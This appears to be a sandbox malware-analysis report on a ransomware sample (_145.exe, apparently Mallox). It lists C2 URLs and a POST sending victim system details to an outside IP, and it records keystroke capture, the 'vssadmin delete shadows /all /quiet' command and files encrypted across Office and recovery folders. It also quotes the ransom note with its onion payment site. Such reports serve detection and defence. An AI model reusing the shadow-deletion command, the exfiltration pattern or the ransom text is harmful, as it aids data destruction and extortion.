Source: _145.exe, 00000000.00000003.2118543111.0000000000C71000.00000004.00000020.00020000.00000000.sdmp, _145.exe, 00000000.00000003.2107298089.0000000000C71000.00000004.00000020.00020000.00000000.sdmp, _145.exe, 00000000.00000003.2119295159.0000000000C71000.00000004.00000020.00020000.00000000.sdmp, _145.exe, 00000000.00000003.2115765687.0000000000C71000.00000004.00000020.00020000.00000000.sdmp, _145.exe, 00000000.00000003.2113220234.0000000000C71000.00000004.00000020.00020000.00000000.sdmp, _145.exe, 00000000.00000003.2108719872.0000000000C71000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: http://91.215.85.142/QWEwqdsvsf/ap.phpE
Source: _145.exe, 00000000.00000003.2111946101.00000000046D9000.00000004.00000020.00020000.00000000.sdmp, _145.exe, 00000000.00000003.2124056896.00000000046D9000.00000004.00000020.00020000.00000000.sdmp, _145.exe, 00000000.00000003.2109635027.00000000046D9000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: http://91.215.85.142/QWEwqdsvsf/ap.phpM
Source: _145.exe, 00000000.00000003.2510362600.00000000046D9000.00000004.00000020.00020000.00000000.sdmp, _145.exe, 00000000.00000003.2834278123.00000000046D8000.00000004.00000020.00020000.00000000.sdmp, _145.exe, 00000000.00000003.2693658563.00000000046D8000.00000004.00000020.00020000.00000000.sdmp, _145.exe, 00000000.00000003.2255350664.00000000046D9000.00000004.00000020.00020000.00000000.sdmp, _145.exe, 00000000.00000003.2627821845.00000000046D9000.00000004.00000020.00020000.00000000.sdmp, _145.exe, 00000000.00000003.2111946101.00000000046D9000.00000004.00000020.00020000.00000000.sdmp, _145.exe, 00000000.00000003.2623524950.00000000046D9000.00000004.00000020.00020000.00000000.sdmp, _145.exe, 00000000.00000003.2219923211.00000000046D9000.00000004.00000020.00020000.00000000.sdmp, _145.exe, 00000000.00000003.2769821019.00000000046D8000.00000004.00000020.00020000.00000000.sdmp, _145.exe, 00000000.00000003.2277539266.00000000046D9000.00000004.00000020.00020000.00000000.sdmp, _145.exe, 00000000.00000003.2639420389.00000000046D8000.00000004.00000020.00020000.00000000.sdmp, _145.exe, 00000000.00000003.2754010913.00000000046D8000.00000004.00000020.00020000.00000000.sdmp, _145.exe, 00000000.00000003.2708633139.00000000046D8000.00000004.00000020.00020000.00000000.sdmp, _145.exe, 00000000.00000003.2776003689.00000000046D8000.00000004.00000020.00020000.00000000.sdmp, _145.exe, 00000000.00000003.2583352269.00000000046D9000.00000004.00000020.00020000.00000000.sdmp, _145.exe, 00000000.00000003.2503519816.00000000046D9000.00000004.00000020.00020000.00000000.sdmp, _145.exe, 00000000.00000003.2505405064.00000000046D9000.00000004.00000020.00020000.00000000.sdmp, _145.exe, 00000000.00000003.2766609044.00000000046D8000.00000004.00000020.00020000.00000000.sdmp, _145.exe, 00000000.00000003.2280941934.00000000046D9000.00000004.00000020.00020000.00000000.sdmp, _145.exe, 00000000.00000003.2593614953.00000000046D9000.00000004.00000020.00020000.00000000.sdmp, _145.exe, 00000000.00000003.2762115723.00000000046D8000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: http://91.215.85.142/QWEwqdsvsf/ap.phpP
Source: _145.exe, 00000000.00000003.2118543111.0000000000C71000.00000004.00000020.00020000.00000000.sdmp, _145.exe, 00000000.00000003.2107298089.0000000000C71000.00000004.00000020.00020000.00000000.sdmp, _145.exe, 00000000.00000003.2119295159.0000000000C71000.00000004.00000020.00020000.00000000.sdmp, _145.exe, 00000000.00000003.2115765687.0000000000C71000.00000004.00000020.00020000.00000000.sdmp, _145.exe, 00000000.00000003.2113220234.0000000000C71000.00000004.00000020.00020000.00000000.sdmp, _145.exe, 00000000.00000003.2108719872.0000000000C71000.00000004.00000020.00020000.00000000.sdmp, _145.exe, 00000000.00000003.2122539513.0000000000C71000.00000004.00000020.00020000.00000000.sdmp, _145.exe, 00000000.00000003.2126414835.0000000000C71000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: http://91.215.85.142/QWEwqdsvsf/ap.php_
Source: _145.exe, 00000000.00000003.2173823123.0000000000C7F000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: http://91.215.85.142/QWEwqdsvsf/ap.phpata
Source: _145.exe, 00000000.00000003.2510362600.00000000046D9000.00000004.00000020.00020000.00000000.sdmp, _145.exe, 00000000.00000003.2834278123.00000000046D8000.00000004.00000020.00020000.00000000.sdmp, _145.exe, 00000000.00000003.2693658563.00000000046D8000.00000004.00000020.00020000.00000000.sdmp, _145.exe, 00000000.00000003.2255350664.00000000046D9000.00000004.00000020.00020000.00000000.sdmp, _145.exe, 00000000.00000003.2627821845.00000000046D9000.00000004.00000020.00020000.00000000.sdmp, _145.exe, 00000000.00000003.2623524950.00000000046D9000.00000004.00000020.00020000.00000000.sdmp, _145.exe, 00000000.00000003.2219923211.00000000046D9000.00000004.00000020.00020000.00000000.sdmp, _145.exe, 00000000.00000003.2769821019.00000000046D8000.00000004.00000020.00020000.00000000.sdmp, _145.exe, 00000000.00000003.2277539266.00000000046D9000.00000004.00000020.00020000.00000000.sdmp, _145.exe, 00000000.00000003.2639420389.00000000046D8000.00000004.00000020.00020000.00000000.sdmp, _145.exe, 00000000.00000003.2754010913.00000000046D8000.00000004.00000020.00020000.00000000.sdmp, _145.exe, 00000000.00000003.2708633139.00000000046D8000.00000004.00000020.00020000.00000000.sdmp, _145.exe, 00000000.00000003.2776003689.00000000046D8000.00000004.00000020.00020000.00000000.sdmp, _145.exe, 00000000.00000003.2583352269.00000000046D9000.00000004.00000020.00020000.00000000.sdmp, _145.exe, 00000000.00000003.2503519816.00000000046D9000.00000004.00000020.00020000.00000000.sdmp, _145.exe, 00000000.00000003.2505405064.00000000046D9000.00000004.00000020.00020000.00000000.sdmp, _145.exe, 00000000.00000003.2766609044.00000000046D8000.00000004.00000020.00020000.00000000.sdmp, _145.exe, 00000000.00000003.2280941934.00000000046D9000.00000004.00000020.00020000.00000000.sdmp, _145.exe, 00000000.00000003.2593614953.00000000046D9000.00000004.00000020.00020000.00000000.sdmp, _145.exe, 00000000.00000003.2762115723.00000000046D8000.00000004.00000020.00020000.00000000.sdmp, _145.exe, 00000000.00000003.2751883110.00000000046D8000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: http://91.215.85.142/QWEwqdsvsf/ap.phpf
Source: _145.exe, 00000000.00000003.2510362600.00000000046D9000.00000004.00000020.00020000.00000000.sdmp, _145.exe, 00000000.00000003.2834278123.00000000046D8000.00000004.00000020.00020000.00000000.sdmp, _145.exe, 00000000.00000003.2693658563.00000000046D8000.00000004.00000020.00020000.00000000.sdmp, _145.exe, 00000000.00000003.2255350664.00000000046D9000.00000004.00000020.00020000.00000000.sdmp, _145.exe, 00000000.00000003.2627821845.00000000046D9000.00000004.00000020.00020000.00000000.sdmp, _145.exe, 00000000.00000003.2111946101.00000000046D9000.00000004.00000020.00020000.00000000.sdmp, _145.exe, 00000000.00000003.2623524950.00000000046D9000.00000004.00000020.00020000.00000000.sdmp, _145.exe, 00000000.00000003.2219923211.00000000046D9000.00000004.00000020.00020000.00000000.sdmp, _145.exe, 00000000.00000003.2769821019.00000000046D8000.00000004.00000020.00020000.00000000.sdmp, _145.exe, 00000000.00000003.2277539266.00000000046D9000.00000004.00000020.00020000.00000000.sdmp, _145.exe, 00000000.00000003.2639420389.00000000046D8000.00000004.00000020.00020000.00000000.sdmp, _145.exe, 00000000.00000003.2754010913.00000000046D8000.00000004.00000020.00020000.00000000.sdmp, _145.exe, 00000000.00000003.2708633139.00000000046D8000.00000004.00000020.00020000.00000000.sdmp, _145.exe, 00000000.00000003.2776003689.00000000046D8000.00000004.00000020.00020000.00000000.sdmp, _145.exe, 00000000.00000003.2583352269.00000000046D9000.00000004.00000020.00020000.00000000.sdmp, _145.exe, 00000000.00000003.2503519816.00000000046D9000.00000004.00000020.00020000.00000000.sdmp, _145.exe, 00000000.00000003.2505405064.00000000046D9000.00000004.00000020.00020000.00000000.sdmp, _145.exe, 00000000.00000003.2766609044.00000000046D8000.00000004.00000020.00020000.00000000.sdmp, _145.exe, 00000000.00000003.2280941934.00000000046D9000.00000004.00000020.00020000.00000000.sdmp, _145.exe, 00000000.00000003.2593614953.00000000046D9000.00000004.00000020.00020000.00000000.sdmp, _145.exe, 00000000.00000003.2762115723.00000000046D8000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: http://91.215.85.142/QWEwqdsvsf/ap.phpj
Source: _145.exe, 00000000.00000003.2142199872.0000000000C71000.00000004.00000020.00020000.00000000.sdmp, _145.exe, 00000000.00000003.2955369843.0000000000C71000.00000004.00000020.00020000.00000000.sdmp, _145.exe, 00000000.00000003.2282905702.0000000000C71000.00000004.00000020.00020000.00000000.sdmp, _145.exe, 00000000.00000003.2135798477.0000000000C71000.00000004.00000020.00020000.00000000.sdmp, _145.exe, 00000000.00000003.2960843087.0000000000C71000.00000004.00000020.00020000.00000000.sdmp, _145.exe, 00000000.00000003.2865208023.0000000000C71000.00000004.00000020.00020000.00000000.sdmp, _145.exe, 00000000.00000003.2274365972.0000000000C71000.00000004.00000020.00020000.00000000.sdmp, _145.exe, 00000000.00000003.3037359481.0000000000C71000.00000004.00000020.00020000.00000000.sdmp, _145.exe, 00000000.00000003.2168413825.0000000000C71000.00000004.00000020.00020000.00000000.sdmp, _145.exe, 00000000.00000003.2222401734.0000000000C71000.00000004.00000020.00020000.00000000.sdmp, _145.exe, 00000000.00000003.2212727565.0000000000C71000.00000004.00000020.00020000.00000000.sdmp, _145.exe, 00000000.00000003.2810948305.0000000000C71000.00000004.00000020.00020000.00000000.sdmp, _145.exe, 00000000.00000003.2218505422.0000000000C71000.00000004.00000020.00020000.00000000.sdmp, _145.exe, 00000000.00000003.2241036278.0000000000C71000.00000004.00000020.00020000.00000000.sdmp, _145.exe, 00000000.00000003.2281686127.0000000000C71000.00000004.00000020.00020000.00000000.sdmp, _145.exe, 00000000.00000003.2245387731.0000000000C71000.00000004.00000020.00020000.00000000.sdmp, _145.exe, 00000000.00000003.3041013104.0000000000C71000.00000004.00000020.00020000.00000000.sdmp, _145.exe, 00000000.00000003.2842090850.0000000000C71000.00000004.00000020.00020000.00000000.sdmp, _145.exe, 00000000.00000003.3030658115.0000000000C71000.00000004.00000020.00020000.00000000.sdmp, _145.exe, 00000000.00000003.2229599387.0000000000C71000.00000004.00000020.00020000.00000000.sdmp, _145.exe, 00000000.00000003.3024553021.0000000000C71000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: http://91.215.85.142/QWEwqdsvsf/ap.phpnQ
Source: _145.exe, 00000000.00000003.2111946101.00000000046D9000.00000004.00000020.00020000.00000000.sdmp, _145.exe, 00000000.00000003.2124056896.00000000046D9000.00000004.00000020.00020000.00000000.sdmp, _145.exe, 00000000.00000003.2146130235.00000000046D9000.00000004.00000020.00020000.00000000.sdmp, _145.exe, 00000000.00000003.2146593085.00000000046D9000.00000004.00000020.00020000.00000000.sdmp, _145.exe, 00000000.00000003.2109635027.00000000046D9000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: http://91.215.85.142/QWEwqdsvsf/ap.phpr
Source: _145.exe, 00000000.00000003.2142199872.0000000000C71000.00000004.00000020.00020000.00000000.sdmp, _145.exe, 00000000.00000003.2135798477.0000000000C71000.00000004.00000020.00020000.00000000.sdmp, _145.exe, 00000000.00000003.2138463076.0000000000C71000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: http://91.215.85.142/QWEwqdsvsf/ap.phpx
Source: _145.exe, 00000000.00000003.2118543111.0000000000C71000.00000004.00000020.00020000.00000000.sdmp, _145.exe, 00000000.00000003.2107298089.0000000000C71000.00000004.00000020.00020000.00000000.sdmp, _145.exe, 00000000.00000003.2119295159.0000000000C71000.00000004.00000020.00020000.00000000.sdmp, _145.exe, 00000000.00000003.2115765687.0000000000C71000.00000004.00000020.00020000.00000000.sdmp, _145.exe, 00000000.00000003.2113220234.0000000000C71000.00000004.00000020.00020000.00000000.sdmp, _145.exe, 00000000.00000003.2108719872.0000000000C71000.00000004.00000020.00020000.00000000.sdmp, _145.exe, 00000000.00000003.2105465625.0000000000C71000.00000004.00000020.00020000.00000000.sdmp, _145.exe, 00000000.00000003.2122539513.0000000000C71000.00000004.00000020.00020000.00000000.sdmp, _145.exe, 00000000.00000003.2126414835.0000000000C71000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: http://91.215.85.142/RS
Source: _145.exe, 00000000.00000003.2119295159.0000000000C4B000.00000004.00000020.00020000.00000000.sdmp, _145.exe, 00000000.00000003.2115765687.0000000000C4B000.00000004.00000020.00020000.00000000.sdmp, _145.exe, 00000000.00000003.2105465625.0000000000C4B000.00000004.00000020.00020000.00000000.sdmp, _145.exe, 00000000.00000003.2113220234.0000000000C4B000.00000004.00000020.00020000.00000000.sdmp, _145.exe, 00000000.00000003.2107298089.0000000000C4B000.00000004.00000020.00020000.00000000.sdmp, _145.exe, 00000000.00000003.2122539513.0000000000C4B000.00000004.00000020.00020000.00000000.sdmp, _145.exe, 00000000.00000003.2126414835.0000000000C4B000.00000004.00000020.00020000.00000000.sdmp, _145.exe, 00000000.00000003.2108719872.0000000000C4B000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: http://91.215.85.142/ows
Source: _145.exe, 00000000.00000003.2114682457.0000000000C7F000.00000004.00000020.00020000.00000000.sdmp, _145.exe, 00000000.00000003.2105465625.0000000000C7F000.00000004.00000020.00020000.00000000.sdmp, _145.exe, 00000000.00000003.2113220234.0000000000C7F000.00000004.00000020.00020000.00000000.sdmp, _145.exe, 00000000.00000003.2112753503.0000000000C7F000.00000004.00000020.00020000.00000000.sdmp, _145.exe, 00000000.00000003.2118543111.0000000000C7F000.00000004.00000020.00020000.00000000.sdmp, _145.exe, 00000000.00000003.2107298089.0000000000C7F000.00000004.00000020.00020000.00000000.sdmp, _145.exe, 00000000.00000003.2115765687.0000000000C7F000.00000004.00000020.00020000.00000000.sdmp, _145.exe, 00000000.00000003.2108719872.0000000000C7F000.00000004.00000020.00020000.00000000.sdmp, _145.exe, 00000000.00000003.2126414835.0000000000C7F000.00000004.00000020.00020000.00000000.sdmp, _145.exe, 00000000.00000003.2122539513.0000000000C7F000.00000004.00000020.00020000.00000000.sdmp, _145.exe, 00000000.00000003.2119295159.0000000000C7F000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: http://api.ipify.org
Source: _145.exe, 00000000.00000003.2460052995.0000000004778000.00000004.00000020.00020000.00000000.sdmp, _145.exe, 00000000.00000003.2150813269.0000000004778000.00000004.00000020.00020000.00000000.sdmp, _145.exe, 00000000.00000003.2304552381.0000000004778000.00000004.00000020.00020000.00000000.sdmp, _145.exe, 00000000.00000003.2132952244.0000000004778000.00000004.00000020.00020000.00000000.sdmp, _145.exe, 00000000.00000003.2646935934.0000000004778000.00000004.00000020.00020000.00000000.sdmp, _145.exe, 00000000.00000003.3008853653.0000000004778000.00000004.00000020.00020000.00000000.sdmp, _145.exe, 00000000.00000003.2607320971.0000000004778000.00000004.00000020.00020000.00000000.sdmp, _145.exe, 00000000.00000003.2522280834.0000000004778000.00000004.00000020.00020000.00000000.sdmp, _145.exe, 00000000.00000003.2326143420.0000000004778000.00000004.00000020.00020000.00000000.sdmp, _145.exe, 00000000.00000003.3009346738.0000000004778000.00000004.00000020.00020000.00000000.sdmp, _145.exe, 00000000.00000003.2091710763.0000000004778000.00000004.00000020.00020000.00000000.sdmp, _145.exe, 00000000.00000003.2097131637.0000000004778000.00000004.00000020.00020000.00000000.sdmp, _145.exe, 00000000.00000003.2129239269.0000000004778000.00000004.00000020.00020000.00000000.sdmp, _145.exe, 00000000.00000003.2168018595.0000000004778000.00000004.00000020.00020000.00000000.sdmp, _145.exe, 00000000.00000003.3003938424.0000000004778000.00000004.00000020.00020000.00000000.sdmp, _145.exe, 00000000.00000003.2451530052.0000000004778000.00000004.00000020.00020000.00000000.sdmp, _145.exe, 00000000.00000003.2774775573.0000000004778000.00000004.00000020.00020000.00000000.sdmp, _145.exe, 00000000.00000003.2602497993.0000000004778000.00000004.00000020.00020000.00000000.sdmp, _145.exe, 00000000.00000003.2797784667.0000000004778000.00000004.00000020.00020000.00000000.sdmp, _145.exe, 00000000.00000003.2110584513.0000000004778000.00000004.00000020.00020000.00000000.sdmp, _145.exe, 00000000.00000003.2092082325.0000000004778000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: http://api.ipify.org/
Source: _145.exe, 00000000.00000003.2460052995.0000000004778000.00000004.00000020.00020000.00000000.sdmp, _145.exe, 00000000.00000003.2150813269.0000000004778000.00000004.00000020.00020000.00000000.sdmp, _145.exe, 00000000.00000003.2304552381.0000000004778000.00000004.00000020.00020000.00000000.sdmp, _145.exe, 00000000.00000003.2132952244.0000000004778000.00000004.00000020.00020000.00000000.sdmp, _145.exe, 00000000.00000003.2646935934.0000000004778000.00000004.00000020.00020000.00000000.sdmp, _145.exe, 00000000.00000003.3008853653.0000000004778000.00000004.00000020.00020000.00000000.sdmp, _145.exe, 00000000.00000003.2607320971.0000000004778000.00000004.00000020.00020000.00000000.sdmp, _145.exe, 00000000.00000003.2522280834.0000000004778000.00000004.00000020.00020000.00000000.sdmp, _145.exe, 00000000.00000003.2326143420.0000000004778000.00000004.00000020.00020000.00000000.sdmp, _145.exe, 00000000.00000003.3009346738.0000000004778000.00000004.00000020.00020000.00000000.sdmp, _145.exe, 00000000.00000003.2091710763.0000000004778000.00000004.00000020.00020000.00000000.sdmp, _145.exe, 00000000.00000003.2097131637.0000000004778000.00000004.00000020.00020000.00000000.sdmp, _145.exe, 00000000.00000003.2129239269.0000000004778000.00000004.00000020.00020000.00000000.sdmp, _145.exe, 00000000.00000003.2168018595.0000000004778000.00000004.00000020.00020000.00000000.sdmp, _145.exe, 00000000.00000003.3003938424.0000000004778000.00000004.00000020.00020000.00000000.sdmp, _145.exe, 00000000.00000003.2451530052.0000000004778000.00000004.00000020.00020000.00000000.sdmp, _145.exe, 00000000.00000003.2774775573.0000000004778000.00000004.00000020.00020000.00000000.sdmp, _145.exe, 00000000.00000003.2602497993.0000000004778000.00000004.00000020.00020000.00000000.sdmp, _145.exe, 00000000.00000003.2797784667.0000000004778000.00000004.00000020.00020000.00000000.sdmp, _145.exe, 00000000.00000003.2110584513.0000000004778000.00000004.00000020.00020000.00000000.sdmp, _145.exe, 00000000.00000003.2092082325.0000000004778000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: http://api.ipify.org/N
Source: _145.exe String found in binary or memory: http://api.ipify.orgx32x64%s
Source: D4AAED77-3A86-4390-8A8C-B5376696441B.0.dr String found in binary or memory: https://api.pJ;
Source: D4AAED77-3A86-4390-8A8C-B5376696441B.0.dr String found in binary or memory: https://d.docs.live.net
Source: D4AAED77-3A86-4390-8A8C-B5376696441B.0.dr String found in binary or memory: https://login.windows-ppe.net
Source: D4AAED77-3A86-4390-8A8C-B5376696441B.0.dr String found in binary or memory: https://login.windows.net/common/oauth2/authorize
Source: D4AAED77-3A86-4390-8A8C-B5376696441B.0.dr String found in binary or memory: https://petrol.offi;
Source: _145.exe, HOW TO BACK FILES.txt571.0.dr, HOW TO BACK FILES.txt661.0.dr, HOW TO BACK FILES.txt5.0.dr, HOW TO BACK FILES.txt974.0.dr, HOW TO BACK FILES.txt881.0.dr, HOW TO BACK FILES.txt13.0.dr, HOW TO BACK FILES.txt948.0.dr, HOW TO BACK FILES.txt624.0.dr, HOW TO BACK FILES.txt317.0.dr, HOW TO BACK FILES.txt323.0.dr, HOW TO BACK FILES.txt50.0.dr, HOW TO BACK FILES.txt366.0.dr, HOW TO BACK FILES.txt828.0.dr, HOW TO BACK FILES.txt169.0.dr, HOW TO BACK FILES.txt413.0.dr, HOW TO BACK FILES.txt882.0.dr, HOW TO BACK FILES.txt370.0.dr, HOW TO BACK FILES.txt307.0.dr, HOW TO BACK FILES.txt369.0.dr, HOW TO BACK FILES.txt773.0.dr String found in binary or memory: https://www.torproject.org/download/
Source: unknown HTTP traffic detected: POST /QWEwqdsvsf/ap.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 91.215.85.142Content-Length: 165Connection: Keep-AliveCache-Control: no-cacheData Raw: 75 73 65 72 3d 70 61 6e 64 61 26 54 61 72 67 65 74 49 44 3d 34 39 39 33 38 30 39 45 43 38 35 41 42 35 31 34 31 41 41 30 44 42 33 46 26 53 79 73 74 65 6d 49 6e 66 6f 72 6d 61 74 69 6f 6e 3d 57 69 6e 64 6f 77 73 25 32 30 31 30 25 32 30 45 6e 74 65 72 70 72 69 73 65 25 32 30 78 36 34 2c 25 32 30 43 48 2c 25 32 30 31 35 36 2e 31 34 36 2e 34 39 2e 31 36 38 2c 25 32 30 36 34 38 33 35 31 26 6d 61 78 5f 73 69 7a 65 5f 6f 66 5f 66 69 6c 65 3d 30 2e 30 26 73 69 7a 65 5f 6f 66 5f 68 64 64 3d 35 37 34 Data Ascii: user=panda&TargetID=4993809EC85AB5141AA0DB3F&SystemInformation=Windows%2010%20Enterprise%20x64,%20CH,%20156.146.49.168,%20648351&max_size_of_file=0.0&size_of_hdd=574
Source: unknown DNS traffic detected: queries for: api.ipify.org
Source: global traffic HTTP traffic detected: GET / HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: api.ipify.orgConnection: Keep-AliveCache-Control: no-cache
Installs a raw input device (often for capturing keystrokes)
Source: _145.exe, 00000000.00000003.2610480315.0000000004F1E000.00000004.00000020.00020000.00000000.sdmp Binary or memory string: _WCE47~1.AU3_WinAPI_RegisterRawInputDevices.au3 memstr_22278577-1

Spam, unwanted Advertisements and Ransom Demands
barindex
Yara detected Targeted Ransomware
Source: Yara match File source: Process Memory Space: _145.exe PID: 5700, type: MEMORYSTR
Yara detected TrojanRansom
Source: Yara match File source: Process Memory Space: _145.exe PID: 5700, type: MEMORYSTR
Yara detected RansomwareGeneric
Source: Yara match File source: Process Memory Space: _145.exe PID: 5700, type: MEMORYSTR
May disable shadow drive data (uses vssadmin)
Source: C:\Users\user\Desktop\_145.exe Process created: C:\Windows\System32\vssadmin.exe "C:\Windows\sysnative\vssadmin.exe" delete shadows /all /quiet
Source: C:\Users\user\Desktop\_145.exe Process created: C:\Windows\System32\vssadmin.exe "C:\Windows\sysnative\vssadmin.exe" delete shadows /all /quiet Jump to behavior
Writes many files with high entropy
Source: C:\Users\user\Desktop\_145.exe File created: C:\Users\user\AppData\Local\Microsoft\Office\16.0\WebServiceCache\AllUsers\officeclient.microsoft.com\D4AAED77-3A86-4390-8A8C-B5376696441B entropy: 7.9978765475 Jump to dropped file
Source: C:\Users\user\Desktop\_145.exe File created: C:\Users\user\AppData\Local\Microsoft\Office\16.0\WebServiceCache\AllUsers\officeclient.microsoft.com\AA3DCC85-1029-4D9F-A8D2-CD0AE28D4CCD entropy: 7.99755440479 Jump to dropped file
Source: C:\Users\user\Desktop\_145.exe File created: C:\Users\user\AppData\Local\Microsoft\Office\16.0\officeclicktorun.exe_Rules.xml entropy: 7.99947840966 Jump to dropped file
Source: C:\Users\user\Desktop\_145.exe File created: C:\Users\user\AppData\Local\Microsoft\Office\16.0\officeclicktorun.exe_Rules\rule230172v1.xml entropy: 7.99424683429 Jump to dropped file
Source: C:\Users\user\Desktop\_145.exe File created: C:\Users\user\AppData\Local\Microsoft\Office\16.0\officeclicktorun.exe_Rules\rule230170v1.xml entropy: 7.99367375082 Jump to dropped file
Source: C:\Users\user\Desktop\_145.exe File created: C:\Users\user\AppData\Local\Microsoft\Office\16.0\officec2rclient.exe_Rules.xml entropy: 7.99930551022 Jump to dropped file
Source: C:\Users\user\Desktop\_145.exe File created: C:\Program Files (x86)\Microsoft Office\root\Office16\sdxs\FA000000051\dist\en-us_web\taskpanev2.js.gz entropy: 7.99877023877 Jump to dropped file
Source: C:\Users\user\Desktop\_145.exe File created: C:\Program Files (x86)\Microsoft Office\root\Office16\sdxs\FA000000051\dist\en-us_web\taskpane.js.gz entropy: 7.99851764672 Jump to dropped file
Source: C:\Users\user\Desktop\_145.exe File created: C:\Program Files (x86)\Microsoft Office\root\Office16\Ocomprivate.zip entropy: 7.99791482265 Jump to dropped file
Source: C:\Users\user\Desktop\_145.exe File created: C:\Program Files (x86)\Microsoft Office\root\Office16\Microsoft.Lync.Utilities.zip entropy: 7.99751375815 Jump to dropped file
Source: C:\Users\user\Desktop\_145.exe File created: C:\Program Files (x86)\Microsoft Office\root\Office16\Microsoft.Lync.Utilities.Controls.zip entropy: 7.99217986455 Jump to dropped file
Source: C:\Users\user\Desktop\_145.exe File created: C:\Program Files (x86)\Microsoft Office\root\Office16\Microsoft.Lync.Model.zip entropy: 7.99815024276 Jump to dropped file
Source: C:\Users\user\Desktop\_145.exe File created: C:\Program Files (x86)\Microsoft Office\root\Office16\sdxs\FA000000109\dist\taskpane.js.map.gz entropy: 7.99956046235 Jump to dropped file
Source: C:\Users\user\Desktop\_145.exe File created: C:\Program Files (x86)\Microsoft Office\root\Office16\sdxs\FA000000109\dist\taskpane.js.gz entropy: 7.9996621784 Jump to dropped file
Source: C:\Users\user\Desktop\_145.exe File created: C:\Program Files (x86)\Microsoft Office\root\Office16\sdxs\FA000000109\dist\vendor.js.map.gz entropy: 7.99802988342 Jump to dropped file
Source: C:\Users\user\Desktop\_145.exe File created: C:\Program Files (x86)\Microsoft Office\root\Office16\sdxs\FA000000109\dist\vendor.js.gz entropy: 7.9957015754 Jump to dropped file
Source: C:\Users\user\Desktop\_145.exe File created: C:\Program Files (x86)\Microsoft Office\root\Office16\sdxs\FA000000051\dist\en-us_web\vendor.js.map.gz entropy: 7.99979205069 Jump to dropped file
Source: C:\Users\user\Desktop\_145.exe File created: C:\Program Files (x86)\Microsoft Office\root\Office16\sdxs\FA000000051\dist\en-us_web\fabric.js.map.gz entropy: 7.9997236662 Jump to dropped file
Source: C:\Users\user\Desktop\_145.exe File created: C:\Program Files (x86)\Microsoft Office\root\Office16\sdxs\FA000000051\dist\en-us_web\taskpanev2.js.map.gz entropy: 7.99950798732 Jump to dropped file
Source: C:\Users\user\Desktop\_145.exe File created: C:\Program Files (x86)\Microsoft Office\root\Office16\sdxs\FA000000051\dist\en-us_web\taskpane.js.map.gz entropy: 7.99943860489 Jump to dropped file
Source: C:\Users\user\Desktop\_145.exe File created: C:\Program Files (x86)\Microsoft Office\root\Office16\sdxs\FA000000051\dist\en-us_web\vendor.js.gz entropy: 7.99937837542 Jump to dropped file
Source: C:\Users\user\Desktop\_145.exe File created: C:\Program Files (x86)\Microsoft Office\root\Office16\sdxs\FA000000051\dist\en-us_web\fabric.js.gz entropy: 7.99910644885 Jump to dropped file
Source: C:\Users\user\Desktop\_145.exe File created: C:\EFI\Microsoft\Recovery\BCD entropy: 7.99071401222 Jump to dropped file
Source: C:\Users\user\Desktop\_145.exe File created: C:\Users\user\AppData\Local\Adobe\Acrobat\DC\IconCacheAcro65536.dat entropy: 7.9967880877 Jump to dropped file
Source: C:\Users\user\Desktop\_145.exe File created: C:\Users\user\AppData\Local\Adobe\Acrobat\DC\AdobeSysFnt23.lst entropy: 7.99901582661 Jump to dropped file
Source: C:\Users\user\Desktop\_145.exe File created: C:\Recovery\WindowsRE\Winre.wim entropy: 7.99978803217 Jump to dropped file
Source: C:\Users\user\Desktop\_145.exe File created: C:\EFI\Microsoft\Recovery\BCD.LOG entropy: 7.99531741182 Jump to dropped file
Writes a notice file (html or txt) to demand a ransom
Source: C:\Users\user\Desktop\_145.exe File dropped: C:\Users\user\AppData\Local\Packages\Microsoft.WindowsCamera_8wekyb3d8bbwe\AC\Temp\HOW TO BACK FILES.txt -> decryption toolfollow the instructions to decrypt all your datado not try to change or restore files yourself, this will break themif you want, on our site you can decrypt one file for free. free test decryption allowed only for not valuable file with size less than 3mbhow to get decryption tool:1) download and install tor browser by this link: https://www.torproject.org/download/2) if tor blocked in your country and you can't access to the link then use any vpn software3) run tor browser and open the site: wtyafjyhwqrgo4a45wdvvwhen3cx4euie73qvlhkhvlrexljoyuklaad.onion/mallox/privatesignin4) copy your private id in the input field. your private key: 4993809ec85ab5141aa0db3f5) you will see payment information and we can make free test decryption here6)after payment, you will receive a tool for decrypting files, and we will delete the data that was taken from youour blog of leaked companies:wtyafjyhwqrgo4a45wdvvwhen3cx4euie73qvlhkhvlrexljoyuklaad.onionif you are unable to conta Jump to dropped file
Source: C:\Users\user\Desktop\_145.exe File dropped: C:\Users\user\AppData\Local\Packages\Microsoft.WindowsCamera_8wekyb3d8bbwe\AC\INetHistory\HOW TO BACK FILES.txt -> decryption toolfollow the instructions to decrypt all your datado not try to change or restore files yourself, this will break themif you want, on our site you can decrypt one file for free. free test decryption allowed only for not valuable file with size less than 3mbhow to get decryption tool:1) download and install tor browser by this link: https://www.torproject.org/download/2) if tor blocked in your country and you can't access to the link then use any vpn software3) run tor browser and open the site: wtyafjyhwqrgo4a45wdvvwhen3cx4euie73qvlhkhvlrexljoyuklaad.onion/mallox/privatesignin4) copy your private id in the input field. your private key: 4993809ec85ab5141aa0db3f5) you will see payment information and we can make free test decryption here6)after payment, you will receive a tool for decrypting files, and we will delete the data that was taken from youour blog of leaked companies:wtyafjyhwqrgo4a45wdvvwhen3cx4euie73qvlhkhvlrexljoyuklaad.onionif you are unable to conta Jump to dropped file
